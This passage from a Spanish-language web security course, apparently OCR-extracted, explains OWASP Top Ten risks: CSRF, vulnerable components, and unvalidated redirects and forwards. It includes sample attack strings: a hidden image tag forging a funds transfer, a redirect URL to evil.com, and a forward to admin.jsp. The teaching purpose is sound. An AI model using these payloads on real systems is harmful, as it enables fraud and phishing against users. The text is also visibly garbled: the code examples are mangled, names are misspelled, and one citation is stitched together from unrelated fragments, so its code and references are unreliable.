solicitud HTTP; estos deben ser únicos por cada sesión del usuario.

 La opción preferida es incluir el token único en un campo oculto. Esto hace que el valor de
dicho campo se envíe en el cuerpo de la solicitud HTTP, evitando su inclusión en la URL.
 El token único también puede ser incluido en la propia URL, o en un parámetro de la
misma. Sin embargo, esta práctica presenta el riesgo e inconveniente de que la URL sea
expuesta a un atacante y, por lo tanto, pueda comprometer el token secreto.

CSRF Guard de OWASP puede incluir automática mente los tokens secretos en Java EE, .NET,
aplicaciones PHP. Por otro lado, ESAPT de OWASP incluye también métodos para que los
desarrolladores puedan utilizarlos con el fin de evitar este tipo de vulnerabilidades.

 Requerir que el usuario vuelva a autenticarse, o incluir pruebas de usuario legitimo (por
ejemplo, mediante el uso de CAPTCHA) pueden también protegernos frente ataques de
tipo CSRF.

Ejemplos de escenarios de ataque:

 La aplicación permite al usuario enviar una petición de cambio de estado en el que no


incluya nada oculto o secreto. Por ejemplo:

http-/example.com/apptransferFunds?

amount=1500&desCnaAccount =avackersAcct #width=”0” height=”02/>


De esta forma, el atacante construye una petición que transferirá el dinero de la cuenta de la
víctima hacia su cuenta. Seguidamente, el atacante inserta su ataque en una etiqueta de imagen o
iframe almacenado en varios sitios controlados por él de la siguiente forma:

<img src ="http-/example.com/app/transferFunds ?

amount=1 5008 desCnaConAccount=avackers Acct 4"

width="0" height="0" />

Si la victima visita alguno de los sitios controlados por el atacante, estando ya autenticado en
example.com, estas peticiones falsificadas incluirán automáticamente la información de la sesión
del usuario, autorizando la petición del atacante.

Uso de componentes con vulnerabilidades conocidas

Descripción: El atacante identifica un componente débil a través de escaneos automáticos o


análisis manuales. Ajusta el exploit según lo necesita y ejecuta el ataque. Se hace más difícil si el
componente es amplia mente utilizado en la aplicación.

Virtualmente cualquier aplicación tiene este tipo de problema debido a que la mayoría de los
equipos de desarrollo no se centran en asegurar que sus componentes y bibliotecas se encuentren
actualizados. En muchos casos, los desarrolladores no conocen todos los componentes que
utilizan, y menos aún sus versiones. Dependencias entre componentes dificultan incluso más el
problema.

El rango completo de debilidades incluye inyección, control de acceso roto, XSS, etc. El impacto
puede ser desde mínimo hasta el apoderamiento completo del equipo y compromiso de los datos.

¿Cómo averiguar si es vulnerable nuestra aplicación?: Para determinar si es vulnerable necesita


buscar en bases de datos como CVE y NVD, así como también mantenerse al tanto de la lista de
correos del proyecto y anuncios de cosas que pueden representar una vulnerabilidad. En caso de
que uno de sus componentes tenga una vulnerabilidad, deberá evaluar cuidadosamente si su
sistema es o no vulnerable revisando su código.

¿Cómo prevenirlo?:

 Identificar todos los componentes y la versión que están usando, incluyendo dependencias
en los proyectos software.
 Revisar la seguridad del componente en bases de datos públicas, lista de correos del
proyecto, y lista de correo de seguridad, y mantenerlas actualizadas.
 Establecer políticas de seguridad que regulen el uso de componentes, como requerir
ciertas prácticas en el desarrollo de software y pasar test de seguridad.
 Agregar capas de seguridad alrededor del componente para deshabilitar funcionalidades
no utilizadas y asegurar aspectos débiles o vulnerables del componente.

Ejemplos de escenarios de ataque:

 Escenario 1: Apache CXF Authentication Bypass. Debido a que no otorgaba un token de


identidad, los atacantes podían invocar cualquier servicio web con todos los permisos.
 Escenario 2: Spring Remote Code Execution. El abuso de la implementación en Spring del
componente Expression Language permitió a los atacantes ejecutar código arbitrario,
tomando el control del servidor.

Redirecciones y reenvíos no validos

Descripción: Un atacante crea enlaces a redirecciones no validadas y engaña a las víctimas para
que hagan clic en dichos enlaces. Las víctimas son más propensas a hacer clic sobre ellos, ya que el
enlace lleva a una aplicación de confianza. El atacante tiene como objetivo los destinos inseguros
para evadir los controles de seguridad.

Con frecuencia, las aplicaciones redirigen a los usuarios a otras páginas, o utilizan destinos
internos de forma similar. Algunas veces la página de destino se especifica en un parámetro no
validado, permitiendo a los atacantes elegir dicha página.

Detectar redirecciones sin validar es fácil. Se trata de buscar redirecciones donde el usuario puede
establecer la dirección URL completa. Verificar reenvíos sin validar resulta más complicado ya que
apuntan a páginas internas.

Estas redirecciones pueden intentar instalar código malicioso o engañar a las víctimas para que
revelen contraseñas u otra información sensible. El uso de reenvíos inseguros puede permitir
evadir el control de acceso.

¿Cómo averiguar si es vulnerable nuestra aplicación?: Para comprobarlo deberemos seguir los
siguientes pasos:

 Revisar el código para detectar el uso de redirecciones o reenvíos (llamados transferencias


en .NET). Para cada uso, identificar si la URL objetivo se incluye en el valor de algún
parámetro. Si es así, si la URL objetivo no es validada con una lista blanca, usted es
vulnerable.
 Observar si la aplicación genera cualquier redirección (códigos de respuesta HTTP 300-307,
típica mente la 302). Analizar los parámetros facilitados antes de la redirección para ver si
parecen ser una URL de destino o un recurso de dicha URL. Si es así, modificar la URL de
destino y observar si la aplicación redirige al nuevo destino.
 Si el código no se encuentra disponible, se deben analizar todos los parámetros para ver si
forman parte de una redirección o reenvío de una URL de destino y probar lo que hacen
estos.
¿Cómo prevenirlo?:

 Evitando el uso de redirecciones y reenvíos.


 No involucrar pará metros manipulables por el usuario para definir el destino.
 Si los parámetros de destino no pueden ser evitados, asegúrese que el valor suministrado
sea válido y autorizado para el usuario.

Se recomienda que el valor de cualquier parámetro de destino sea un valor de mapeo, el lugar de
la dirección URL real o una porción de esta, y en el código del servidor traducir dicho valor a la
dirección URL de destino. Las aplicaciones pueden utilizar ESAPT para sobrescribir el método
sendRedirect () y asegurarse que todos los destinos redirigidos son setos. Evitar estos problemas
resulta extremada mente importante ya que son un blanco preferido por los phishers que intentan
ganarse la confianza de los usuarios.

Ejemplos de escenarios de ataque:

 Escenario 1: La aplicación tiene una página llamada redirect.jsp que recibe un único
parámetro llamado url. El atacante crea una URL maliciosa que redirige a los usuarios a
una aplicación que realiza phishing e instala código malicioso:

http:/www.example.com/redirect.jsp?url—evil.com

 Escenario 2: La aplicación utiliza reenvios para redirigir peticiones entre distintas partes de
la aplicación. Para facilitar esto, algunas páginas utilizan un parámetro para indicar donde
debería ser dirigido el usuario si la transacción es satisfactoria. En este caso, el atacante
compone una URL que evadirá el control de acceso de la aplicación y llevará al atacante a
una función de administración a la que en una situación habitual no debería tener acceso:

http://www. example.com/boring.jsp?fwd-admin.jsp

Información adicional

Si quiere profundizar en alguno de los temas tratados en esta unidad, puede encontrar
información adicional en las referencias que se muestran a continuación.

 OWASP Top Ten Project, 2017 - https://www.owasp.org'index


php/Category:OWASP_Top_Ten Project
 W. Stallines, Cryptography and Network Security: Principles and Practice, 7th Edition
Pearson 201 6.ation. New York: McGraw-Hill Education, 2

También podría gustarte